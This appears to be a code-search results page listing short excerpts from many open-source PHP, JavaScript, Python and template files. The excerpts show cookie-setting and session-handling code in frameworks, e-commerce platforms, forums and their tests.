cart.js https://bitbucket.org/maximefaulon/laravel-blackmoon.git | JavaScript | 351 lines
                    
4var baseUrllink = "/catalog/productSheet/";
                    
5// var baseUrlCatalog = "/Symfony/web/app_dev.php/catalog/";
                    
6
                    
9    $.ajax({
                    
10        url: "/Symfony/web/app_dev.php/catalog/product/getPrice",
                    
11        method: "post",
                    
20
                    
21function setCookie(cname, cvalue, exhours) {
                    
22    var d = new Date();
                    
32function saveCart(inCartItemsNum, cartArticles) {
                    
33    setCookie('inCartItemsNum', inCartItemsNum, 1);
                    
34    setCookie('cartArticles', JSON.stringify(cartArticles), 1);
                    
67        // $('#lien-panier').click(function(){
                    
68        //     return window.location='/panier.php';
                    
69        // });
                    
                
Session.php https://gitlab.com/svillegas/magento2 | PHP | 424 lines
                    
1<?php
                    
2/**
                    
12 * @method Session setCustomerId()
                    
13 * @SuppressWarnings(PHPMD.CouplingBetweenObjects)
                    
14 */
                    
120     * @param array $data
                    
121     * @SuppressWarnings(PHPMD.ExcessiveParameterList)
                    
122     */
                    
176     * @return bool
                    
177     * @SuppressWarnings(PHPMD.BooleanGetMethodName)
                    
178     */
                    
316        $value = $this->getKey();
                    
317        $this->setCookie($value, $duration, $path);
                    
318        return $this;
                    
334        if (null !== $value) {
                    
335            $this->setCookie($value, $duration, $path);
                    
336        }
                    
                
Response.php https://gitlab.com/szlongshu/manaphp | PHP | 425 lines
                    
6    use ManaPHP\Di;
                    
7    use ManaPHP\Http\Response\Exception;
                    
8    use ManaPHP\Http\Response\Headers;
                    
13     * Part of the HTTP cycle is return responses to the clients.
                    
14     * ManaPHP\HTTP\Response is the ManaPHP component responsible to achieve this task.
                    
15     * HTTP responses are usually composed by headers and body.
                    
17     *<code>
                    
18     *    $response = new ManaPHP\Http\Response();
                    
19     *    $response->setStatusCode(200, "OK");
                    
36        /**
                    
37         * @var \ManaPHP\Http\Response\HeadersInterface
                    
38         */
                    
291         * @param string $content
                    
292         * @param int    $jsonOptions consisting on http://www.php.net/manual/en/json.constants.php
                    
293         *
                    
                
framework.js https://gitlab.com/lazypdf/afi-framework | JavaScript | 300 lines
                    
8
                    
9function setCookie(c_name,value,exdays) {
                    
10    var exdate=new Date();
                    
50	    type:'GET',
                    
51	    url: "index.php?view=cpanel&task=clientData&tmpl=raw",
                    
52	    dataType: "json",
                    
67		$('#edit').css('display', '');
                    
68		$('#edit').attr('href', 'index.php?view=cpanel&layout=edit&id='+id);
                    
69		$('#clientid').html(response.NomFiscal + ' <span class="glyphicon glyphicon-chevron-down"></span>');
                    
75	$('#pdf').css('display', '');
                    
76	$('#pdf').attr('href', 'index.php?view=diposits&task=getPdf&id='+id+'&tmpl=raw');
                    
77	$('#edit').css('display', '');
                    
77	$('#edit').css('display', '');
                    
78	$('#edit').attr('href', 'index.php?view=diposits&layout=edit&id='+id);
                    
79});
                    
                
Cookie.php https://gitlab.com/staging06/myproject | PHP | 429 lines
                    
22*  @copyright  2007-2015 PrestaShop SA
                    
23*  @license    http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0)
                    
24*  International Registered Trademark & Property of PrestaShop SA
                    
34
                    
35    /** @var array expiration date for setcookie() */
                    
36    protected $_expire;
                    
322            $this->id_lang = Configuration::get('PS_LANG_DEFAULT');
                    
323            // set detect_language to force going through Tools::setCookieLanguage to figure out browser lang
                    
324            $this->detect_language = true;
                    
328    /**
                    
329     * Setcookie according to php version
                    
330     */
                    
339        }
                    
340        if (PHP_VERSION_ID <= 50200) { /* PHP version > 5.2.0 */
                    
341            return setcookie($this->_name, $content, $time, $this->_path, $this->_domain, $this->_secure);
                    
                
ConfigTest.php https://bitbucket.org/minosss/magento2.git | PHP | 379 lines
                    
24        global $mockPHPFunctions;
                    
25        if ($mockPHPFunctions == 1) {
                    
26            switch ($varName) {
                    
29                case 'session.save_handler':
                    
30                    return 'php';
                    
31                default:
                    
211            $model = $this->getModel();
                    
212            $model->setCookieSecure(true);
                    
213            $this->assertTrue($model->getCookieSecure());
                    
321            global $mockPHPFunctions;
                    
322            $mockPHPFunctions = $mockPHPFunctionNum;
                    
323
                    
353            $this->assertEquals($expectedSaveHandler, $model->getOption('session.save_handler'));
                    
354            global $mockPHPFunctions;
                    
355            $mockPHPFunctions = false;
                    
                
HttpTestCase.php https://gitlab.com/rsilveira1987/Expresso | PHP | 276 lines
                    
1<?php
                    
2/**
                    
18 * @license    http://framework.zend.com/license/new-bsd     New BSD License
                    
19 * @version    $Id: HttpTestCase.php 10020 2009-08-18 14:34:09Z j.fischer@metaways.de $
                    
20 */
                    
24 */
                    
25require_once 'Zend/Controller/Request/Http.php';
                    
26
                    
130     */
                    
131    public function setCookie($key, $value)
                    
132    {
                    
142     */
                    
143    public function setCookies(array $cookies)
                    
144    {
                    
171        if (!in_array($type, $this->_validMethodTypes)) {
                    
172            require_once 'Zend/Controller/Exception.php';
                    
173            throw new Zend_Controller_Exception('Invalid request method specified');
                    
                
phpbb.php https://bitbucket.org/huanteng/touyou.git | PHP | 232 lines
                    
12 * $Author: liubo $
                    
13 * $Id: phpbb.php 17217 2011-01-19 06:29:08Z liubo $
                    
14 */
                    
26    /* 会员数据整合插件的代码必须和文件名保持一致 */
                    
27    $modules[$i]['code']    = 'phpbb';
                    
28
                    
29    /* 被整合的第三方程序的名称 */
                    
30    $modules[$i]['name']    = 'phpBB';
                    
31
                    
43    $modules[$i]['default']['db_user'] = 'root';
                    
44    $modules[$i]['default']['prefix'] = 'phpbb_';
                    
45    //$modules[$i]['default']['cookie_prefix'] = 'xn_';
                    
50require_once(ROOT_PATH . 'includes/modules/integrates/integrate.php');
                    
51class phpbb extends integrate
                    
52{
                    
                
function_member.php https://github.com/bluelovers/Discuz.git | PHP | 247 lines
                    
1<?php
                    
2
                    
6 *
                    
7 *      $Id: function_login.php 12578 2010-07-09 15:41:43Z zhangguosheng $
                    
8 */
                    
90
                    
91	dsetcookie('auth', authcode("{$member['password']}\t{$member['uid']}", 'ENCODE'), $cookietime, 1, true);
                    
92	dsetcookie('loginuser');
                    
92	dsetcookie('loginuser');
                    
93	dsetcookie('activationauth');
                    
94	dsetcookie('pmnum');
                    
225	} else {
                    
226		dsetcookie('invite_auth', '');
                    
227	}
                    
                
SessionCookie.php https://gitlab.com/donyradjah/cvglobal | PHP | 210 lines
                    
1<?php
                    
2/**
                    
2/**
                    
3 * Slim - a micro PHP 5 framework
                    
4 *
                    
38 * This class provides an HTTP cookie storage mechanism
                    
39 * for session data. This class avoids using a PHP session
                    
40 * and instead serializes/unserializes the $_SESSION global
                    
45 * need to store sensitive user information in a session, you should
                    
46 * rely on PHP's native session implementation, or use other middleware
                    
47 * to store session data in a database or alternative server-side cache.
                    
86         *
                    
87         * We must start a native PHP session to initialize the $_SESSION superglobal.
                    
88         * However, we won't be using the native session store for persistence, so we
                    
89         * disable the session cookie and cache limiter. We also set the session
                    
90         * handler to this class instance to avoid PHP's native session file locking.
                    
91         */
                    
                
Cookie.php http://marocmall.googlecode.com/svn/trunk/ | PHP | 355 lines
                    
32
                    
33	/** @var array Crypted cookie name for setcookie() */
                    
34	protected $_name;
                    
35
                    
36	/** @var array expiration date for setcookie() */
                    
37	protected $_expire;
                    
41
                    
42	/** @var array Path for setcookie() */
                    
43	protected $_path;
                    
282	/**
                    
283	  * Setcookie according to php version
                    
284	  */
                    
296		}
                    
297		if (PHP_VERSION_ID <= 50200) /* PHP version > 5.2.0 */
                    
298			return setcookie($this->_name, $content, $time, $this->_path, $this->_domain, 0);
                    
                
AdminConfigTest.php https://bitbucket.org/sergiu-tot-fb/vendors.git | PHP | 143 lines
                    
1<?php
                    
2/**
                    
11
                    
12class AdminConfigTest extends \PHPUnit\Framework\TestCase
                    
13{
                    
14    /**
                    
15     * @var \Magento\Framework\App\RequestInterface | \PHPUnit_Framework_MockObject_MockObject
                    
16     */
                    
19    /**
                    
20     * @var \Magento\Framework\ValidatorFactory | \PHPUnit_Framework_MockObject_MockObject
                    
21     */
                    
29    /**
                    
30     * @var \Magento\Backend\Model\UrlFactory | \PHPUnit_Framework_MockObject_MockObject
                    
31     */
                    
34    /**
                    
35     * @var \Magento\Framework\Filesystem|\PHPUnit_Framework_MockObject_MockObject
                    
36     */
                    
                
fstyle.tpl http://rtoss.googlecode.com/svn/ | Smarty Template | 218 lines
                    
6<META HTTP-EQUIV="pragma" CONTENT="no-cache">
                    
7<link rel="alternate" type="application/rss+xml" title="RSS" href="backend.php">
                    
8</head>
                    
66function li(e){var ui=loadCookie("interface");if(ui=="2ch") location.href="{$NIch_index}?";else w("fstyle");}
                    
67function w(i){setCookie("interface",i);};function setCookie(name,value){var exp=new Date();exp.setTime(exp.getTime()+(1000*60*60*24*7));document.cookie = name+"="+escape(value)+"; expires="+exp.toGMTString(); }
                    
68//--></script>
                    
103          <tr>
                    
104            <td bgcolor="CEDEEF" height="25" align="right"><a href="{$NIch_index}?" onclick="w('2ch');">2ch???????</a> | <a href="search.php">??</a> | <a href="help.html" target="_blank">??????????</a> | <a href="./i/">??</a> | <a href="admin.php">??</a>&nbsp;</td>
                    
105          </tr>
                    
132<hr>
                    
133<div align="right"><a href="http://php.s3.to" target="_blank">freeStyle bbs by???PHP!</a> + <a href="http://riaf.org/f_style/">riaf web</a> + PTE</div>
                    
134</center>
                    
177          <tr height="30" bgcolor="#94B4DA">
                    
178            <td align="right" colspan="2"><font size="-1"><b><a href="./read.php/{$key}/">???</a> <a href="./read.php/{$key}/l{$read_def}">????{$read_def}</a> <a href="./read.php/{$key}/1-100">??1-100</a> <a href="#top">Top</a> <a href="./usr_del.php/{$key}/">ResDelete</a> <a href="?">Reload</a></b></font></td>
                    
179          </tr>
                    
                
SetCookie.php git://github.com/zendframework/zf2.git | PHP | 400 lines
                    
69        /* @var $setCookieProcessor Closure */
                    
70        static $setCookieProcessor = null;
                    
71
                    
71
                    
72        if ($setCookieProcessor === null) {
                    
73            $setCookieClass = get_called_class();
                    
73            $setCookieClass = get_called_class();
                    
74            $setCookieProcessor = function($headerLine) use ($setCookieClass) {
                    
75                $header = new $setCookieClass;
                    
110        if (count($multipleHeaders) <= 1) {
                    
111            return $setCookieProcessor(array_pop($multipleHeaders));
                    
112        } else {
                    
389                throw new Exception\RuntimeException(
                    
390                    'The SetCookie multiple header implementation can only accept an array of SetCookie headers'
                    
391                );
                    
                
ResponseHeaderBagTest.php https://gitlab.com/fabian.morales/marlon_becerra | PHP | 286 lines
                    
1<?php
                    
2
                    
16
                    
17class ResponseHeaderBagTest extends \PHPUnit_Framework_TestCase
                    
18{
                    
114        $bag = new ResponseHeaderBag(array());
                    
115        $bag->setCookie(new Cookie('foo', 'bar'));
                    
116
                    
149        $bag = new ResponseHeaderBag();
                    
150        $bag->setCookie(new Cookie('foo', 'bar', 0, '/path/foo', 'foo.bar'));
                    
151        $bag->setCookie(new Cookie('foo', 'bar', 0, '/path/bar', 'foo.bar'));
                    
151        $bag->setCookie(new Cookie('foo', 'bar', 0, '/path/bar', 'foo.bar'));
                    
152        $bag->setCookie(new Cookie('foo', 'bar', 0, '/path/bar', 'bar.foo'));
                    
153        $bag->setCookie(new Cookie('foo', 'bar'));
                    
172        $bag = new ResponseHeaderBag();
                    
173        $bag->setCookie(new Cookie('foo', 'bar', 0, '/path/foo', 'foo.bar'));
                    
174        $bag->setCookie(new Cookie('bar', 'foo', 0, '/path/bar', 'foo.bar'));
                    
                
Cookie.php https://gitlab.com/A.Julien/sendstockbymail-module-prestashop | PHP | 429 lines
                    
22*  @copyright  2007-2016 PrestaShop SA
                    
23*  @license    http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0)
                    
24*  International Registered Trademark & Property of PrestaShop SA
                    
34
                    
35    /** @var array expiration date for setcookie() */
                    
36    protected $_expire;
                    
322            $this->id_lang = Configuration::get('PS_LANG_DEFAULT');
                    
323            // set detect_language to force going through Tools::setCookieLanguage to figure out browser lang
                    
324            $this->detect_language = true;
                    
328    /**
                    
329     * Setcookie according to php version
                    
330     */
                    
339        }
                    
340        if (PHP_VERSION_ID <= 50200) { /* PHP version > 5.2.0 */
                    
341            return setcookie($this->_name, $content, $time, $this->_path, $this->_domain, $this->_secure);
                    
                
login_func.php https://gitlab.com/ColoradoSchoolOfMines/MinesPlaza-Defunct- | PHP | 172 lines
                    
1<?php
                    
2require ('../includes/common_func.php');
                    
2require ('../includes/common_func.php');
                    
3require_once('../includes/variables.php');
                    
4
                    
9    $time = time() + 3600;
                    
10    setcookie('SessionUser', $userid, $time);
                    
11    setcookie('SessionID', random(32), $time);
                    
66    $result = $mysqli->query('DELETE FROM user_session WHERE user_id='.$userid);
                    
67    setcookie('SessionUser', 0, time() + 3600 * 3600);
                    
68    setcookie('SessionId', "", time() + 3600 * 3600);
                    
69    defineUser(-1);
                    
70    header('Location: login.php?msg=You have been logged out');
                    
71    exit();
                    
                
cookie.php https://gitlab.com/ricardosanchez/prueba | PHP | 89 lines
                    
1<?php
                    
2/**
                    
79	 * @link    http://www.ietf.org/rfc/rfc2109.txt
                    
80	 * @see     setcookie()
                    
81	 * @since   11.1
                    
84	{
                    
85		setcookie($name, $value, $expire, $path, $domain, $secure, $httpOnly);
                    
86
                    
                
Session.php https://github.com/holsinger/openfloor.git | PHP | 488 lines
                    
1<?php  if (!defined('BASEPATH')) exit('No direct script access allowed');
                    
2/**
                    
4 *
                    
5 * An open source application development framework for PHP 4.3.2 or newer
                    
6 *
                    
274
                    
275		setcookie(
                    
276					$this->sess_cookie,
                    
356	{
                    
357		setcookie(
                    
358					$this->sess_cookie,
                    
                
MWHttpRequestTestCase.php https://bitbucket.org/andersus/querytalogo.git | PHP | 245 lines
                    
1<?php
                    
2
                    
4
                    
5class MWHttpRequestTestCase extends PHPUnit_Framework_TestCase {
                    
6	protected static $httpEngine;
                    
19
                    
20		if ( static::$httpEngine === 'php' ) {
                    
21			$this->assertInstanceOf( PhpHttpRequest::class, $request );
                    
80
                    
81	public function testSetCookie() {
                    
82		$request = MWHttpRequest::factory( 'http://httpbin.org/cookies' );
                    
82		$request = MWHttpRequest::factory( 'http://httpbin.org/cookies' );
                    
83		$request->setCookie( 'foo', 'bar' );
                    
84		$request->setCookie( 'foo2', 'bar2', [ 'domain' => 'example.com' ] );
                    
89
                    
90	public function testSetCookieJar() {
                    
91		$request = MWHttpRequest::factory( 'http://httpbin.org/cookies' );
                    
                
SiteController.php https://gitlab.com/x33n/ImpressPages | PHP | 291 lines
                    
1<?php
                    
2namespace Ip\Internal\Admin;
                    
40
                    
41        $content = ipView('view/login.php', array('loginForm' => FormHelper::getLoginForm()));
                    
42        ipAddJs('Ip/Internal/Admin/assets/login.js');
                    
43        $response = ipResponse();
                    
44        $response->setLayout('Ip/Internal/Admin/view/loginLayout.php');
                    
45        $response->setLayoutVariable('content', $content);
                    
60
                    
61        $content = ipView('view/passwordReset.php', array('passwordResetForm' => FormHelper::getPasswordResetForm1()));
                    
62        ipAddJs('Ip/Internal/Admin/assets/passwordReset1.js');
                    
64        $response = ipResponse();
                    
65        $response->setLayout('Ip/Internal/Admin/view/loginLayout.php');
                    
66        $response->setLayoutVariable('content', $content);
                    
83
                    
84        $content = ipView('view/passwordResetInfo.php');
                    
85
                    
                
profile.php http://rqcms.googlecode.com/svn/trunk/ | PHP | 224 lines
                    
1<?php
                    
2if(!defined('RQ_ROOT')) exit('Access Denied');
                    
100			$expire=isset($_POST['rememberme'])?$timestamp+31536000:0;//???????????????????????????
                    
101			setcookie('sessionid',$sessionid,$expire,'',RQ_HOST);
                    
102			$DB->query('update '.DB_PREFIX."user set `logincount`=`logincount`+1,`loginip`='$onlineip',`logintime`='$timestamp',`sessionid`='$sessionid',`useragent`='$useragent' where uid='$uid'");
                    
170					$expire=$timestamp+31536000;//???????????????????????????
                    
171					setcookie('sessionid',$sessionid,$expire,'',RQ_HOST);
                    
172					$DB->query('update '.DB_PREFIX."user set `logincount`=`logincount`+1,`loginip`='$onlineip',`logintime`='$timestamp',`sessionid`='$sessionid',`useragent`='$useragent' where uid='$uid'");
                    
193				{
                    
194					setcookie($key, '');
                    
195				}
                    
                
extension_import_export.php https://gitlab.com/websumon/tosnib | PHP | 209 lines
                    
1<?php
                    
2
                    
196            public function overload_field_path( $field ) {
                    
197                return dirname( __FILE__ ) . '/' . $this->field_name . '/field_' . $this->field_name . '.php';
                    
198            }
                    
202                if ( $_COOKIE['redux_current_tab'] == 'import_export_default' ) {
                    
203                    setcookie( 'redux_current_tab', '', 1, '/' );
                    
204                    $_COOKIE['redux_current_tab'] = 1;
                    
                
game.php https://bitbucket.org/trujka/phparcade.git | PHP | 184 lines
                    
25					You are Playing: <a
                    
26					href="<?php echo get_category_link("name=" . $game['cat']); ?>"><?php echo $game['cat']; ?>
                    
27					Games</a> &raquo; <?php echo $game['name']; ?>
                    
64						<p class="play_gm_all_det_int_tle">Instructions:</p>
                    
65						<p class="play_gm_all_det_int_desc"><?php echo $game['instructions']; ?></p><?php
                    
66						if ($game['flags'] <> '') { /* If there are no flags set (i.e. a Mochi game), then don't show the score table*/ ?>
                    
94											<td align="left"><img
                    
95												src="http://<?php echo str_replace('http://', '', $user['avatarurl']); ?>"
                    
96												width="16px" height="16px" alt="No Avatar"/>
                    
97												<a class='contentlink'
                    
98												   href="<?php echo get_profile_link("id=" . _sp($user['id'])); ?>"><?php echo $user['username']; ?></a>
                    
99											</td>
                    
130	        <div class="reg_btmcurve">&nbsp;</div>
                    
131	        <?php include "ads/top728x90ads.php"; ?>
                    
132	        <div class="reg_topcurve">&nbsp;</div>
                    
                
css_optimiser.php https://bitbucket.org/chamilo/chamilo-dev/ | PHP | 506 lines
                    
1<?php
                    
2header('Content-Type:text/html; charset=utf-8');
                    
2header('Content-Type:text/html; charset=utf-8');
                    
3require ('class.csstidy.php');
                    
4require ('lang.inc.php');
                    
80{
                    
81    setcookie('custom_template', $_REQUEST['custom'], time() + 360000);
                    
82}
                    
119<title>
                    
120      <?php
                    
121    echo $lang[$l][0];
                    
146<h1 style="display: inline">
                    
147      <?php
                    
148    echo $lang[$l][1];
                    
150    </h1>
                    
151    <?php
                    
152    echo $lang[$l][2];
                    
                
class-give-email-access.php https://bitbucket.org/bryanhui/wordpress-wptouchpoc.git | PHP | 381 lines
                    
1<?php
                    
2/**
                    
231			$lifetime = current_time( 'timestamp' ) + Give()->session->set_expiration_time();
                    
232			@setcookie( 'give_nl', $token, $lifetime, COOKIEPATH, COOKIE_DOMAIN, false );
                    
233
                    
                
index.py https://gitlab.com/xiaok/SaltAdmin | Python | 237 lines
                    
67        # 这里要从公网去解析
                    
68        url = "http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=json&ip=" + LoginHost
                    
69        response = urllib2.urlopen(url)
                    
86    # 写入uid和token到cookies,存储于客户端
                    
87    #web.setcookie('Username', Username, Expiry)
                    
88    #用uid伪装成Username存储在cookies中
                    
88    #用uid伪装成Username存储在cookies中
                    
89    web.setcookie('Username', encryptUID(SID), Expiry)
                    
90    web.setcookie('Token', Token, Expiry)
                    
146                if HTTP_REFERER:
                    
147                    web.setcookie('HTTP_REFERER', '88888888', -1000)
                    
148                    return web.seeother(HTTP_REFERER)
                    
153                # 如果数据库里存储的token状态为no,即用户已经正常退出,会话无效了,那么清除本地cookies
                    
154                web.setcookie('Username', '88888888', -1)
                    
155                web.setcookie('Token', '88888888', -1)
                    
                
content_list.php http://pj-photohost.googlecode.com/svn/trunk/ | PHP | 217 lines
                    
1<?php
                    
2/**
                    
3 *
                    
4 * content_s_list.php?content_i_list.php?content_select_list.php
                    
5 * ?????????????????????????????????????????????
                    
7 */
                    
8require_once(dirname(__FILE__).'/config.php');
                    
9require_once(DEDEINC.'/typelink.class.php');
                    
9require_once(DEDEINC.'/typelink.class.php');
                    
10require_once(DEDEINC.'/datalistcp.class.php');
                    
11require_once(DEDEADMIN.'/inc/inc_list_functions.php');
                    
168	$whereSql .= " And arc.arcrank = '$arcrank' ";
                    
169	$CheckUserSend = "<input type='button' class='coolbg np' onClick=\"location='catalog_do.php?cid=".$cid."&dopost=listArchives&gurl=content_list.php';\" value='????' />";
                    
170}
                    
172{
                    
173	$CheckUserSend = "<input type='button' class='coolbg np' onClick=\"location='catalog_do.php?cid=".$cid."&dopost=listArchives&arcrank=-1&gurl=content_list.php';\" value='????' />";
                    
174}
                    
                
http.php https://gitlab.com/edgarze188/sunrise | PHP | 440 lines
                    
1<?php
                    
2
                    
32		$request->setTransport(wfWAFHTTPTransport::getInstance());
                    
33		// $request->setCookies("XDEBUG_SESSION=netbeans-xdebug");
                    
34		return $request->send();
                    
117	 */
                    
118	public function setCookies($cookies) {
                    
119		$this->cookies = $cookies;
                    
                
controller.php https://bitbucket.org/jmhmd/hrfreeclinic | PHP | 300 lines
                    
1<?php 
                    
2/**
                    
120			$db->query($q, $v);
                    
121			setcookie("ccmPoll" . $this->bID.'-'.$this->cID, "voted", time() + 1296000, DIR_REL . '/');
                    
122			$this->redirect($c->getCollectionPath());
                    
                
main.php https://gitlab.com/Ltaimao/wecenter | PHP | 78 lines
                    
1<?php
                    
2/*
                    
60
                    
61			$this->model('account')->setcookie_login($user_info['uid'], $_GET['user_name'], $_GET['password'], $user_info['salt'], $expire);
                    
62
                    
                
index.tpl https://code.google.com/p/torrentpier/ | Smarty Template | 230 lines
                    
70			<td class="row1 f_icon">
                    
71			<a href="search.php?f={c.f.FORUM_ID}&amp;new=1&amp;dm=1&amp;s=0&amp;o=1"><img class="forum_icon" src="{c.f.FORUM_FOLDER_IMG}" alt="{c.f.FORUM_FOLDER_ALT}" /></a>
                    
72			</td>
                    
84					<!-- BEGIN sf -->
                    
85					<span class="sf_title{c.f.sf.SF_NEW}"><a href="search.php?f={c.f.sf.SF_ID}&amp;new=1&amp;dm=1&amp;s=0&amp;o=1"><span class="dot-sf">&#8226;</span></a><a href="{FORUM_URL}{c.f.sf.SF_ID}">{c.f.sf.SF_NAME}</a></span><span class="sf_separator"></span>
                    
86					<!-- END sf -->
                    
153<div id="mark_all_forums_read">
                    
154	<a href="{U_INDEX}" class="med" onclick="setCookie('{COOKIE_MARK}', 'all_forums');">{L_MARK_ALL_FORUMS_READ}</a>
                    
155</div>
                    
                
Session.php git://github.com/phpsec/phpSec.git | PHP | 238 lines
                    
1<?php namespace phpSec\Common;
                    
2/**
                    
2/**
                    
3  phpSec - A PHP security library
                    
4
                    
6  @copyright Copyright (c) Audun Larsen, 2011
                    
7  @link      https://github.com/phpsec/phpSec
                    
8  @license   http://opensource.org/licenses/mit-license.php The MIT License
                    
8  @license   http://opensource.org/licenses/mit-license.php The MIT License
                    
9  @package   phpSec
                    
10 */
                    
14  /**
                    
15   * phpSec core Pimple container.
                    
16   */
                    
32   *
                    
33   * @param \phpSec\Core $psl
                    
34   *   phpSec core Pimple container.
                    
                
indexModel.php https://bitbucket.org/adamnow/adamnow.bitbucket.io.git | PHP | 214 lines
                    
1<?php
                    
2
                    
17		if( Routing::$routing['param'] == 'pl' || Routing::$routing['param'] == 'en' ) {
                    
18			setcookie( COOKIE_LANG_NAME, Routing::$routing['param'], time()+157680000, '/' );
                    
19			header( "Location: " . BASE . Routing::$routing['controller'] . '/' . Routing::$routing['action'] );
                    
40
                    
41				$mail = new PHPMailer();
                    
42				$mail->IsSMTP();
                    
53
                    
54					$nMail = new PHPMailer();
                    
55					$nMail->IsSMTP();
                    
87		if( Routing::$routing['param'] == 'pl' || Routing::$routing['param'] == 'en' ) {
                    
88			setcookie( COOKIE_LANG_NAME, Routing::$routing['param'], time()+157680000, '/' );
                    
89			header( "Location: " . BASE );
                    
107				$_SESSION[I_SUCCESS] = $this->data['dictionary'][136][$l];
                    
108				$mail = new PHPMailer();
                    
109				$body = file_get_contents( 'public/mailing/mailing.html' );
                    
                
spController.php http://speedphp.googlecode.com/svn/trunk/ | PHP | 260 lines
                    
1<?php
                    
2/////////////////////////////////////////////////////////////////
                    
2/////////////////////////////////////////////////////////////////
                    
3// SpeedPHP??PHP??, Copyright (C) 2008 - 2010 SpeedPHP.com //
                    
4/////////////////////////////////////////////////////////////////
                    
152			$domain = ('www.' == substr($_SERVER["HTTP_HOST"],0,4)) ? substr($_SERVER["HTTP_HOST"],4) : $_SERVER["HTTP_HOST"];
                    
153			setcookie($GLOBALS['G_SP']['sp_app_id']."_SpLangCookies", $lang, time()+31536000, '/', $domain ); // ????
                    
154			$_SESSION[$GLOBALS['G_SP']['sp_app_id']."_SpLangSession"] = $lang;
                    
                
CookieJar.php https://gitlab.com/martinstti/silex-microframework-rest | PHP | 255 lines
                    
1<?php
                    
2
                    
129     *
                    
130     * @param array  $setCookies Set-Cookie headers from an HTTP response
                    
131     * @param string $uri        The base URL
                    
132     */
                    
133    public function updateFromSetCookie(array $setCookies, $uri = null)
                    
134    {
                    
136
                    
137        foreach ($setCookies as $cookie) {
                    
138            foreach (explode(',', $cookie) as $i => $part) {
                    
163    {
                    
164        $this->updateFromSetCookie($response->getHeader('Set-Cookie', false), $uri);
                    
165    }
                    
                
user.php http://jfusion.googlecode.com/svn/trunk/ | PHP | 232 lines
                    
1<?php
                    
2/**
                    
15 */
                    
16require_once(JPATH_ADMINISTRATOR .DS.'components'.DS.'com_jfusion'.DS.'models'.DS.'model.abstractuser.php');
                    
17require_once(JPATH_ADMINISTRATOR .DS.'components'.DS.'com_jfusion'.DS.'models'.DS.'model.jplugin.php');
                    
76//    	$params = JFusionFactory::getParams($this->getJname());
                    
77//		setcookie($params->get('cookie_name'), '',0,$params->get('cookie_path'),$params->get('cookie_domain'),$params->get('secure'),$params->get('httponly'));
                    
78		return JFusionJplugin::destroySession($userinfo, $options,$this->getJname());
                    
96        $result = $db->loadObject();
                    
97		setcookie($params->get('cookie_name'), $result->cookie_string ,$expires,$params->get('cookie_path'),$params->get('cookie_domain'),$params->get('secure'),$params->get('httponly'));
                    
98*/
                    
                
RedirectResponse.php https://bitbucket.org/vlad-h/cloudfest.git | PHP | 238 lines
                    
1<?php
                    
2
                    
61        foreach ($cookies as $cookie) {
                    
62            $this->headers->setCookie($cookie);
                    
63        }
                    
                
Curl.php https://gitlab.com/LisovyiEvhenii/ismextensions | PHP | 576 lines
                    
1<?php
                    
2/**
                    
9 * It is also available through the world-wide-web at this URL:
                    
10 * http://opensource.org/licenses/osl-3.0.php
                    
11 * If you did not receive a copy of the license and are unable to
                    
23 * @copyright  Copyright (c) 2006-2016 X.commerce, Inc. and affiliates (http://www.magento.com)
                    
24 * @license    http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0)
                    
25 */
                    
235     */
                    
236    public function setCookies($cookies)
                    
237    {
                    
245    {
                    
246        $this->setCookies(array());
                    
247    }
                    
252     *
                    
253     * @param string $uri uri relative to host, ex. "/index.php"
                    
254     */
                    
                
SP_Auth.php http://phpfor.googlecode.com/svn/trunk/ | PHP | 160 lines
                    
1<?php
                    
2
                    
87
                    
88            setcookie($this->config['cookie_name'],$my_auth,$expire_time,$this->config['cookie_path'],$this->config['cookie_domain']);
                    
89
                    
99    function clearLogin(){
                    
100        setcookie($this->config['cookie_name'],'',- 86400 * 365,$this->config['cookie_path'],$this->config['cookie_domain']);
                    
101    }
                    
                
ResponseHeaderBag.php https://gitlab.com/Isaki/le331.fr | PHP | 304 lines
                    
1<?php
                    
2
                    
149     */
                    
150    public function setCookie(Cookie $cookie)
                    
151    {
                    
220    {
                    
221        $this->setCookie(new Cookie($name, null, 1, $path, $domain, $secure, $httpOnly));
                    
222    }
                    
                
TokenBasedRememberMeServices.php https://gitlab.com/mohamedchiheb.bida/workshopFOS | PHP | 126 lines
                    
1<?php
                    
2
                    
76
                    
77        $response->headers->setCookie(
                    
78            new Cookie(
                    
                
Secret.php https://github.com/wrobel/horde-fw3.git | PHP | 196 lines
                    
1<?php
                    
2/**
                    
8 *
                    
9 * $Horde: framework/Secret/Secret.php,v 1.45.10.14 2009-01-06 15:23:34 jan Exp $
                    
10 *
                    
70
                    
71        require_once 'Horde/Util.php';
                    
72        if (Util::extensionExists('mcrypt')) {
                    
95        if (!isset($cache[$cacheIdx])) {
                    
96            require_once 'Horde/Cipher.php';
                    
97
                    
124                $_COOKIE[$keyname . '_key'] = $key;
                    
125                Secret::_setCookie($keyname, $key);
                    
126            }
                    
128            $key = session_id();
                    
129            Secret::_setCookie($keyname, $key);
                    
130        }
                    
                
LoginAction.class.php http://pagizer-cms.googlecode.com/svn/trunk/ | PHP | 185 lines
                    
1<?php
                    
2
                    
87                {
                    
88                    $this->cookie->setCookie(array("login" => $user->getLogin(), "password" => $values["password"]));
                    
89                }
                    
                
StaticTest.php https://github.com/jorgenils/zend-framework.git | PHP | 346 lines
                    
1<?php
                    
2
                    
3require_once 'Zend/Http/Client.php';
                    
4require_once 'PHPUnit/Framework/TestCase.php';
                    
5
                    
18 */
                    
19class Zend_Http_Client_StaticTest extends PHPUnit_Framework_TestCase 
                    
20{
                    
207	{
                    
208		$this->client->setCookieJar();
                    
209		$this->client->setCookie('cookie', 'value');
                    
209		$this->client->setCookie('cookie', 'value');
                    
210		$this->client->setCookie('chocolate', 'chips');
                    
211		$jar = $this->client->getCookieJar();
                    
227		
                    
228		$this->client->setCookieJar($jar);
                    
229		
                    
                
cupcake_controller.php https://github.com/fernyb/Cupcake.git | PHP | 272 lines
                    
1<?php
                    
2
                    
52  public function controller_exists($controller_name) {
                    
53    return file_exists(CONTROLLER_DIR . "/" . $controller_name .".php");
                    
54  }
                    
75      if(preg_match("/^flash_/", $k)) {
                    
76        setcookie($k, "", time() - (3600 * 8));
                    
77      }
                    
                
tor.js https://gitlab.com/kimvladis/DoubleBotWS | JavaScript | 324 lines
                    
58var j      = request.jar();
                    
59var cookie = request.cookie('PHPSESSID=nutpfbb242vle854c6ij69tdd6;');
                    
